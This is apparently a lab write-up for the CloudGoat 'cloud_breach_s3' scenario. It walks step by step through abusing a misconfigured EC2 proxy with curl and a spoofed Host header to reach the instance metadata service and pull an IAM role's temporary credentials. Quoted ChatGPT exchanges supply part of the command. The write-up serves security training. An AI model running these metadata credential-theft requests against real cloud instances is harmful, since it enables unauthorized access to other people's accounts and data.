[LAB] [DEMO] Exploiting EC2 to reach S3

Christopher · August 27, 2023

Launch the lab environment

For this scenario, you can use our 🚀 1-Click Deploy Cyber Hands-On Lab above or you can follow the steps below and deploy it in your own environment just as you've done for other scenarios. Up to you, the option is there! If you use our lab environment, you can skip forward to "Exploiting EC2" but go ahead and start it now because it can take a few minutes to launch given that we're launching real resources.

Before we try to deploy this lab, there's actually an issue that prevents the lab from successfully deploying. It just needs an update to the lab template, and by the time you see this it may already be fixed. Just in case though, let's pull up the directory where we have CloudGoat.

Go to scenarios → cloud_breach_s3 → terraform

Then open the `s3.tf` file in your favorite code editor.

If you see this at the end of the file:

```
resource "aws_s3_bucket_acl" "cardholder-data-bucket-acl" {
  bucket = aws_s3.bucket.cg-cardholder-data-bucket.id
  acl    = "private"
}
```

You need to comment that out. You can comment out with the `#` symbol:

```
# resource "aws_s3_bucket_acl" "cardholder-data-bucket-acl" {
#   bucket = aws_s3.bucket.cg-cardholder-data-bucket.id
#   acl    = "private"
# }
```

Buckets in AWS S3 are now private by default, and they don't use ACLs anymore unless you enable that, which is why this fails.

Save this change and then let's create the lab.

If you don't see that code then you are good to go and it means your version has been fixed.

Let's start by deploying this lab environment:

```
$ ./cloudgoat.py create cloud_breach_s3
```

Because this lab is creating an EC2 instance, it is going to take a couple of minutes to spin up. That's just how long it takes for instances to launch.

Once the lab has created, you'll notice that we don't get a secret access key this time...the reason is because we're going to exploit this lab environment *without* having any initial privileges. Instead, all we get back is:

```
Apply complete! Resources: 19 added, 0 changed, 0 destroyed.

Outputs:

cloudgoat_output_aws_account_id = "272something3833"
cloudgoat_output_target_ec2_server_ip = "54.91.182.146"

[cloudgoat] terraform apply completed with no error code.

[cloudgoat] terraform output completed with no error code.
cloudgoat_output_aws_account_id = 272something3833
cloudgoat_output_target_ec2_server_ip = 54.91.182.146
```

Your values will be different, of course, but you should see a public IP address and an account ID.

If you want, you can pull up your AWS console with your admin account at this point and look at what was created. If we go to the EC2 dashboard, we'll see that we have an EC2 t2.micro instance running. If we go to S3, we'll find that a bucket was created and it has multiple files in there.

But of course, we're creating right now and to complete this lab, we're going to pretend like we don't have any of this access — so let's close the console now.

Exploiting EC2

EC2 instances are just cloud instances that are created to perform tasks. They could be webservers, web app servers, data processors, or whatever else. But for them to do their job, they typically need access to other AWS services. For example, if they need to access data, they need to pull that data from a data store or database...such as Amazon S3.

To do that, they use IAM roles. Those roles are configured to give users or services access through IAM policies like the ones we've explored in prior sections.

Using IAM roles instead of access keys means that the instance does not require permanent credentials — instead, they use temporary credentials.

If you're not familiar, EC2 instance have what's called instance metadata and user data.

Instance metadata is data about the instance that you can use to configure or manage the running instance (source).

This is useful for when you have direct SSH access to the instance, for example. However, if services on the instance are misconfigured, you can potentially retrieve the instance metadata remotely, like what's described here:
https://docs.aws.amazon.com/AWSEC2/latest/User Guide/instancedata-data-retrieval.html

IPv4

```
http://169.254.169.254/latest/meta-data/
```

IPv6

```
http://[fd00:ec2::254]/latest/meta-data/
```

More specifically, you can retrieve security credentials from the instance metadata from here:

```
http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

(Source: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html under header "Retrieve security credentials from instance metadata")

So what we need to do is craft a curl request to our EC2 instance's public IP address and see what happens. Let's ask ChatGPT to help with this:

```
ChatGPT Prompt:

> Please help me craft a curl request to access the ec2 instance metadata for the instance at the public IP address of 54.91.182.146
```

It will give a response like this:

```
You cannot directly use a curl command from outside an EC2 instance to access its instance metadata using its public IP address. The EC2 instance metadata service is bound to a special IP 169.254.169.254 and is only accessible from within the instance itself.

However, if you're on the instance itself, you can query the instance metadata using:

curl http://169.254.169.254/latest/meta-data/
To get specific information, for example, the instance's AMI ID, you'd do:

curl http://169.254.169.254/latest/meta-data/ami-id

etc...
```

It will give a response like this:

```
You cannot directly use a curl command from outside an EC2 instance to access its instance metadata using its public IP address. The EC2 instance metadata service is bound to a special IP 169.254.169.254 and is only accessible from within the instance itself.

However, if you're on the instance itself, you can query the instance metadata using:

curl http://169.254.169.254/latest/meta-data/
To get specific information, for example, the instance's AMI ID, you'd do:

curl http://169.254.169.254/latest/meta-data/ami-id

etc...
```

Because technically it's right...you're not supposed to be able to access this data remotely.

However, this EC2 instance service is badly configured so let's try to run that curl request using the public IP address:

```
curl http://54.91.182.146/latest/meta-data/iam/security-credentials/
```

(Use your public IP address since your value will be different than mine. It was either provided by Terraform when you deployed the environment or it's provided above by our lab)

We get a response back of:

```
<h1>This server is configured to proxy requests to the EC2 metadata service. Please modify your request's 'host' header and try again.</h1>
```

We get a message back saying we need to modify our request's host header and try again. Because of how this service is configured, that's where we can pass in the IP we saw from the AWS' documentation. Let's have ChatGPT update this for us:

```
*ChatGPT Prompt*

> I'm trying something a little bit different with this command:
curl http://54.91.182.146/latest/meta-data/iam/security-credentials/
But I need to pass in a host header with the IP 169.254.169.254. Please help me craft that curl request


Ah, I see what you're trying to do. You're attempting to access instance metadata from outside the instance, possibly due to an insecure configuration or SSRF vulnerability where the external service does not validate the host header properly.

To use curl to make a request to http://54.91.182.146 while sending a host header of 169.254.169.254, you can do:

bash
Copy code
curl -x "0.0.0.0:80" -H "Host: 169.254.169.254" http://54.91.182.146/latest/meta-data/iam/security-credentials/
However, keep in mind:

If the server is properly configured, this should not expose the metadata service.
Accessing resources without permission is illegal and unethical. Always ensure you have the necessary permissions when probing or testing systems. If you're doing penetration testing, always have an explicit agreement in place. Unauthorized access or testing can have serious legal consequences.
```

Look at that, ChatGPT is pretty smart hah 😉

It gave us this command:

```
curl -H "Host: 169.254.169.254" http://54.91.182.146/latest/meta-data/iam/security-credentials/
```

(Again, use your public IP address instead of mine – the 54.81.102.146 value – however the 169.254.169.254 value is the same across all EC2 instances so you will be using that as well)

We get a response of:

```
cg-banking-WAF-Role-cloud_breach_s3_cgid2omxe4ebd0
```

This gives us the name of the role being used by this instance, which is valuable information because now that we have that, we can steal the session token credentials!

If we go back to this documentation: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html it tells us how *(under header "Retrieve security credentials from instance metadata")*:

> An application on the instance retrieves the security credentials provided by the role from the instance metadata item `iam/security-credentials/` role-name.

So we need to add the role-name to our request, like this:

```
curl -x "0.0.0.0:80" -H "Host: 169.254.169.254" http://54.91.182.146/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cloud_breach_s3_cgid2omxe4ebd0
```

(Make sure you have curl the `-x` symbol if you have one and the end of the role name)

And just like that, we get a session token:

```
{
  "Code" : "Success",
  "LastUpdated" : "2023-08-31T19:01:58Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA5ROZEI3IXQZNMO",
  "SecretAccessKey" : "xlmdmv7D6LkfO7/wkjpmwvtSsoSQ9ldXAoh",
  "Token" :
"IQoJb3JpZ2luX2VjEJ3///////wEaCXVzLWVhc3QtMSJHMEYCIQCt1UAE2ZnGrDPzVJ3JZQQCVT3YmkVPzVU5/KzMT9AIhAMpCA7yDO4BPlaqGnxDYBP
+/hnXnPf5ucrZgqnqO39OKzQFCNCJ//////////AyMQAMMMOjwMjgxOTIzMDMiDgzvPwbdqvfI8MOKqzPwbdqvfI8KOsIAgpmbVIF4KKOIKyqoKGsy3WLqBNBMFa
xKYOKTQQ0ZT/mwbqxuwqCjuaC7yPMcJ9c/ZNNBZKYnu/ZEJ5/bAEC7ZnJ/ZEJ5/bAEC7ZnJ/ZEJ5/bAEC7ZnJ/ZEJ5/bAEC7ZnJ/ZEJ5/bAEC
7WGZLEnbN+7WT8Ffs+wGQ2m+3LE9NdBSiuDFdPqE3BJ2B37lWPFbDCRPDlwAwuLawBs/rQQGaAbU5GMgHj8ldBlGaFJBgcwkbtuAfb5mWF
kTKX1Z3BqwqVVVmbPSVVX/VTb2DbHgHHbWwlJwLwPgfxbVUVDyDVDVDV
```